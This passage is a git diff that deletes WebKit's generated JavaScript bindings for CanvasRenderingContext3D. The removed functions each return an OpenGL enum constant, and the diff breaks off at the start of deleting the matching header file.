-JSValue jsCanvasRenderingContext3DMAX_VERTEX_TEXTURE_IMAGE_UNITS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B4C));
-}
-
-JSValue jsCanvasRenderingContext3DMAX_TEXTURE_IMAGE_UNITS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8872));
-}
-
-JSValue jsCanvasRenderingContext3DMAX_FRAGMENT_UNIFORM_VECTORS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8DFD));
-}
-
-JSValue jsCanvasRenderingContext3DSHADER_TYPE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B4F));
-}
-
-JSValue jsCanvasRenderingContext3DDELETE_STATUS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B80));
-}
-
-JSValue jsCanvasRenderingContext3DLINK_STATUS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B82));
-}
-
-JSValue jsCanvasRenderingContext3DVALIDATE_STATUS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B83));
-}
-
-JSValue jsCanvasRenderingContext3DATTACHED_SHADERS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B85));
-}
-
-JSValue jsCanvasRenderingContext3DACTIVE_UNIFORMS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B86));
-}
-
-JSValue jsCanvasRenderingContext3DACTIVE_UNIFORM_MAX_LENGTH(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B87));
-}
-
-JSValue jsCanvasRenderingContext3DACTIVE_ATTRIBUTES(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B89));
-}
-
-JSValue jsCanvasRenderingContext3DACTIVE_ATTRIBUTE_MAX_LENGTH(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B8A));
-}
-
-JSValue jsCanvasRenderingContext3DSHADING_LANGUAGE_VERSION(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B8C));
-}
-
-JSValue jsCanvasRenderingContext3DCURRENT_PROGRAM(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B8D));
-}
-
-JSValue jsCanvasRenderingContext3DNEVER(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0200));
-}
-
-JSValue jsCanvasRenderingContext3DLESS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0201));
-}
-
-JSValue jsCanvasRenderingContext3DEQUAL(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0202));
-}
-
-JSValue jsCanvasRenderingContext3DLEQUAL(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0203));
-}
-
-JSValue jsCanvasRenderingContext3DGREATER(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0204));
-}
-
-JSValue jsCanvasRenderingContext3DNOTEQUAL(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0205));
-}
-
-JSValue jsCanvasRenderingContext3DGEQUAL(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0206));
-}
-
-JSValue jsCanvasRenderingContext3DALWAYS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0207));
-}
-
-JSValue jsCanvasRenderingContext3DKEEP(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x1E00));
-}
-
-JSValue jsCanvasRenderingContext3DREPLACE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x1E01));
-}
-
-JSValue jsCanvasRenderingContext3DINCR(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x1E02));
-}
-
-JSValue jsCanvasRenderingContext3DDECR(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x1E03));
-}
-
-JSValue jsCanvasRenderingContext3DINVERT(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x150A));
-}
-
-JSValue jsCanvasRenderingContext3DINCR_WRAP(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8507));
-}
-
-JSValue jsCanvasRenderingContext3DDECR_WRAP(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8508));
-}
-
-JSValue jsCanvasRenderingContext3DVENDOR(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x1F00));
-}
-
-JSValue jsCanvasRenderingContext3DRENDERER(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x1F01));
-}
-
-JSValue jsCanvasRenderingContext3DVERSION(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x1F02));
-}
-
-JSValue jsCanvasRenderingContext3DEXTENSIONS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x1F03));
-}
-
-JSValue jsCanvasRenderingContext3DNEAREST(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x2600));
-}
-
-JSValue jsCanvasRenderingContext3DLINEAR(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x2601));
-}
-
-JSValue jsCanvasRenderingContext3DNEAREST_MIPMAP_NEAREST(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x2700));
-}
-
-JSValue jsCanvasRenderingContext3DLINEAR_MIPMAP_NEAREST(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x2701));
-}
-
-JSValue jsCanvasRenderingContext3DNEAREST_MIPMAP_LINEAR(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x2702));
-}
-
-JSValue jsCanvasRenderingContext3DLINEAR_MIPMAP_LINEAR(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x2703));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE_MAG_FILTER(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x2800));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE_MIN_FILTER(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x2801));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE_WRAP_S(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x2802));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE_WRAP_T(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x2803));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x1702));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE_CUBE_MAP(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8513));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE_BINDING_CUBE_MAP(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8514));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE_CUBE_MAP_POSITIVE_X(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8515));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE_CUBE_MAP_NEGATIVE_X(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8516));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE_CUBE_MAP_POSITIVE_Y(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8517));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE_CUBE_MAP_NEGATIVE_Y(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8518));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE_CUBE_MAP_POSITIVE_Z(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8519));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE_CUBE_MAP_NEGATIVE_Z(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x851A));
-}
-
-JSValue jsCanvasRenderingContext3DMAX_CUBE_MAP_TEXTURE_SIZE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x851C));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE0(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84C0));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE1(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84C1));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE2(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84C2));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE3(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84C3));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE4(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84C4));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE5(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84C5));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE6(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84C6));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE7(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84C7));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE8(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84C8));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE9(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84C9));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE10(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84CA));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE11(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84CB));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE12(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84CC));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE13(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84CD));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE14(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84CE));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE15(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84CF));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE16(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84D0));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE17(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84D1));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE18(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84D2));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE19(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84D3));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE20(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84D4));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE21(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84D5));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE22(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84D6));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE23(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84D7));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE24(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84D8));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE25(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84D9));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE26(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84DA));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE27(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84DB));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE28(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84DC));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE29(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84DD));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE30(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84DE));
-}
-
-JSValue jsCanvasRenderingContext3DTEXTURE31(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84DF));
-}
-
-JSValue jsCanvasRenderingContext3DACTIVE_TEXTURE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84E0));
-}
-
-JSValue jsCanvasRenderingContext3DREPEAT(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x2901));
-}
-
-JSValue jsCanvasRenderingContext3DCLAMP_TO_EDGE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x812F));
-}
-
-JSValue jsCanvasRenderingContext3DMIRRORED_REPEAT(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8370));
-}
-
-JSValue jsCanvasRenderingContext3DFLOAT_VEC2(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B50));
-}
-
-JSValue jsCanvasRenderingContext3DFLOAT_VEC3(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B51));
-}
-
-JSValue jsCanvasRenderingContext3DFLOAT_VEC4(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B52));
-}
-
-JSValue jsCanvasRenderingContext3DINT_VEC2(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B53));
-}
-
-JSValue jsCanvasRenderingContext3DINT_VEC3(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B54));
-}
-
-JSValue jsCanvasRenderingContext3DINT_VEC4(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B55));
-}
-
-JSValue jsCanvasRenderingContext3DBOOL(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B56));
-}
-
-JSValue jsCanvasRenderingContext3DBOOL_VEC2(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B57));
-}
-
-JSValue jsCanvasRenderingContext3DBOOL_VEC3(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B58));
-}
-
-JSValue jsCanvasRenderingContext3DBOOL_VEC4(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B59));
-}
-
-JSValue jsCanvasRenderingContext3DFLOAT_MAT2(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B5A));
-}
-
-JSValue jsCanvasRenderingContext3DFLOAT_MAT3(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B5B));
-}
-
-JSValue jsCanvasRenderingContext3DFLOAT_MAT4(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B5C));
-}
-
-JSValue jsCanvasRenderingContext3DSAMPLER_2D(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B5E));
-}
-
-JSValue jsCanvasRenderingContext3DSAMPLER_CUBE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B60));
-}
-
-JSValue jsCanvasRenderingContext3DVERTEX_ATTRIB_ARRAY_ENABLED(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8622));
-}
-
-JSValue jsCanvasRenderingContext3DVERTEX_ATTRIB_ARRAY_SIZE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8623));
-}
-
-JSValue jsCanvasRenderingContext3DVERTEX_ATTRIB_ARRAY_STRIDE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8624));
-}
-
-JSValue jsCanvasRenderingContext3DVERTEX_ATTRIB_ARRAY_TYPE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8625));
-}
-
-JSValue jsCanvasRenderingContext3DVERTEX_ATTRIB_ARRAY_NORMALIZED(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x886A));
-}
-
-JSValue jsCanvasRenderingContext3DVERTEX_ATTRIB_ARRAY_POINTER(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8645));
-}
-
-JSValue jsCanvasRenderingContext3DVERTEX_ATTRIB_ARRAY_BUFFER_BINDING(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x889F));
-}
-
-JSValue jsCanvasRenderingContext3DIMPLEMENTATION_COLOR_READ_TYPE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B9A));
-}
-
-JSValue jsCanvasRenderingContext3DIMPLEMENTATION_COLOR_READ_FORMAT(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B9B));
-}
-
-JSValue jsCanvasRenderingContext3DCOMPILE_STATUS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B81));
-}
-
-JSValue jsCanvasRenderingContext3DINFO_LOG_LENGTH(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B84));
-}
-
-JSValue jsCanvasRenderingContext3DSHADER_SOURCE_LENGTH(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8B88));
-}
-
-JSValue jsCanvasRenderingContext3DSHADER_COMPILER(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8DFA));
-}
-
-JSValue jsCanvasRenderingContext3DSHADER_BINARY_FORMATS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8DF8));
-}
-
-JSValue jsCanvasRenderingContext3DNUM_SHADER_BINARY_FORMATS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8DF9));
-}
-
-JSValue jsCanvasRenderingContext3DLOW_FLOAT(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8DF0));
-}
-
-JSValue jsCanvasRenderingContext3DMEDIUM_FLOAT(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8DF1));
-}
-
-JSValue jsCanvasRenderingContext3DHIGH_FLOAT(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8DF2));
-}
-
-JSValue jsCanvasRenderingContext3DLOW_INT(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8DF3));
-}
-
-JSValue jsCanvasRenderingContext3DMEDIUM_INT(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8DF4));
-}
-
-JSValue jsCanvasRenderingContext3DHIGH_INT(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8DF5));
-}
-
-JSValue jsCanvasRenderingContext3DFRAMEBUFFER(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8D40));
-}
-
-JSValue jsCanvasRenderingContext3DRENDERBUFFER(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8D41));
-}
-
-JSValue jsCanvasRenderingContext3DRGBA4(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8056));
-}
-
-JSValue jsCanvasRenderingContext3DRGB5_A1(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8057));
-}
-
-JSValue jsCanvasRenderingContext3DRGB565(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8D62));
-}
-
-JSValue jsCanvasRenderingContext3DDEPTH_COMPONENT16(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x81A5));
-}
-
-JSValue jsCanvasRenderingContext3DSTENCIL_INDEX(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x1901));
-}
-
-JSValue jsCanvasRenderingContext3DSTENCIL_INDEX8(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8D48));
-}
-
-JSValue jsCanvasRenderingContext3DRENDERBUFFER_WIDTH(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8D42));
-}
-
-JSValue jsCanvasRenderingContext3DRENDERBUFFER_HEIGHT(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8D43));
-}
-
-JSValue jsCanvasRenderingContext3DRENDERBUFFER_INTERNAL_FORMAT(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8D44));
-}
-
-JSValue jsCanvasRenderingContext3DRENDERBUFFER_RED_SIZE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8D50));
-}
-
-JSValue jsCanvasRenderingContext3DRENDERBUFFER_GREEN_SIZE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8D51));
-}
-
-JSValue jsCanvasRenderingContext3DRENDERBUFFER_BLUE_SIZE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8D52));
-}
-
-JSValue jsCanvasRenderingContext3DRENDERBUFFER_ALPHA_SIZE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8D53));
-}
-
-JSValue jsCanvasRenderingContext3DRENDERBUFFER_DEPTH_SIZE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8D54));
-}
-
-JSValue jsCanvasRenderingContext3DRENDERBUFFER_STENCIL_SIZE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8D55));
-}
-
-JSValue jsCanvasRenderingContext3DFRAMEBUFFER_ATTACHMENT_OBJECT_TYPE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8CD0));
-}
-
-JSValue jsCanvasRenderingContext3DFRAMEBUFFER_ATTACHMENT_OBJECT_NAME(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8CD1));
-}
-
-JSValue jsCanvasRenderingContext3DFRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8CD2));
-}
-
-JSValue jsCanvasRenderingContext3DFRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8CD3));
-}
-
-JSValue jsCanvasRenderingContext3DCOLOR_ATTACHMENT0(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8CE0));
-}
-
-JSValue jsCanvasRenderingContext3DDEPTH_ATTACHMENT(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8D00));
-}
-
-JSValue jsCanvasRenderingContext3DSTENCIL_ATTACHMENT(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8D20));
-}
-
-JSValue jsCanvasRenderingContext3DNONE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0));
-}
-
-JSValue jsCanvasRenderingContext3DFRAMEBUFFER_COMPLETE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8CD5));
-}
-
-JSValue jsCanvasRenderingContext3DFRAMEBUFFER_INCOMPLETE_ATTACHMENT(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8CD6));
-}
-
-JSValue jsCanvasRenderingContext3DFRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8CD7));
-}
-
-JSValue jsCanvasRenderingContext3DFRAMEBUFFER_INCOMPLETE_DIMENSIONS(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8CD9));
-}
-
-JSValue jsCanvasRenderingContext3DFRAMEBUFFER_UNSUPPORTED(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8CDD));
-}
-
-JSValue jsCanvasRenderingContext3DFRAMEBUFFER_BINDING(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8CA6));
-}
-
-JSValue jsCanvasRenderingContext3DRENDERBUFFER_BINDING(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x8CA7));
-}
-
-JSValue jsCanvasRenderingContext3DMAX_RENDERBUFFER_SIZE(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x84E8));
-}
-
-JSValue jsCanvasRenderingContext3DINVALID_FRAMEBUFFER_OPERATION(ExecState* exec, const Identifier&, const PropertySlot&)
-{
-    return jsNumber(exec, static_cast<int>(0x0506));
-}
-
-
-}
-
-#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCanvasRenderingContext3D.h b/src/3rdparty/webkit/WebCore/generated/JSCanvasRenderingContext3D.h
deleted file mode 100644
index 75ad4d1..0000000
--- a/src/3rdparty/webkit/WebCore/generated/JSCanvasRenderingContext3D.h
+++ /dev/null
@@ -1,555 +0,0 @@
-/*
-    This file is part of the WebKit open source project.
-    This file has been generated by generate-bindings.pl. DO NOT MODIFY!
-
